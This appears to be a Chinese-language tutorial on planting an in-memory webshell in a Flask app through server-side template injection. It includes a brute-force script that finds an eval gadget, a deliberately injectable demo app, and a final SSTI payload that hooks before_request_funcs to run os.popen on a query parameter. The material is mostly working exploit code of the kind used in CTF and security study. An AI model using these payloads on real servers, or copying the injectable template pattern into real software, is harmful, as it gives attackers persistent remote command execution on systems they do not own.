flask_ssti内存马

https://www.cnblogs.com/gxngxngxn/p/18181936
这里的内存不是二进制那些高深的概念
就是改变某些在请求过程中,
会起到作用的属性和方法,从而达到我们的目的
写内存马的前提不同于文件马
需要实现的是代码执行而不是文件读写

利用脚本找出ssti中存在的eval

import requests

url = "http://127.0.0.1:5000?name="

for i in range(0,400):
payload="{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__.__builtins__.eval('print(0)')}}"
response = requests.get(url=url+payload)
if response.status_code == 200:
print(i)
print(().__class__.__base__.__subclasses__()[i])

那么我们就成功拿到了一个代码执行的payload

().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval('print(0)')

获取回显的方式

alt text

示例:before_request

靶场源码:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def hello():
name = request.args.get('name', 'Guest')
template = f'''
<!DOCTYPE html>
<html>
<head>
<title>SSTI示例</title>
</head>
<body>
<h1>Hello {name}!</h1>
</body>
</html>
'''
return render_template_string(template)

if __name__ == '__main__':
app.run(debug=False)
获取到app(Flask对象)

使用Python的内置核心模块sys来获取

sys是Python 的一个内置核心模块,
而sys.modules是一个记录了“当前Python程序加载了哪些模块”的“全局花名册”。
通过这个花名册,我们能找到主程序,
并拿到主程序里定义的全局变量,其中就包括 app。

payload:

__import__('sys').modules['__main__'].__dict__['app']
获取定制回显

使用before_request钩子的场景
https://geek-docs.com/flask/flask-questions/69_flask_python_flask_after_request_and_before_request_for_a_specific_set_of_request.html

from flask import Flask, request

app = Flask(__name__)

@app.before_request
def before_request():
# 执行一些操作,例如进行身份验证
if not request.headers.get("Authorization"):
return "Unauthorized", 401

源码:

@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
"""Register a function to run before each request.

For example, this can be used to open a database connection, or
to load the logged in user from the session.

.. code-block:: python

@app.before_request
def load_user():
if "user_id" in session:
g.user = db.session.get(session["user_id"])

The function will be called without any arguments. If it returns
a non-``None`` value, the value is handled as if it was the
return value from the view, and further request handling is
stopped.

This is available on both app and blueprint objects. When used on an app, this
executes before every request. When used on a blueprint, this executes before
every request that the blueprint handles. To register with a blueprint and
execute before every request, use :meth:`.Blueprint.before_app_request`.
"""
self.before_request_funcs.setdefault(None, []).append(f)
return f

也就是说编写在用户自己的应用里的before_request函数,
会作为一个函数(f)添加进before_request_funcs里
这些函数会在请求进入真正的接口前执行

如果这些函数没有返回值(None)则成功进入接口
否则回显对应的返回值,那我们就可以使用lambda表达式定制自己的回显了
payload:

app.before_request_funcs.setdefault(None, []).append(lambda :xxx)
配合ssti写入内存马

把上述的获取方式拼接一下得到内存马的payload:

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")

结合上面到eval的payload,拼起来就是:

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")}}

但是利用这个payload会出现报错
alt text
因为外面的flask并不在 lambda函数的执行环境中
所以接收命令的部分需要额外加一个import

__import__('flask').request.args.get('ivory')

最终payload:

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())")}}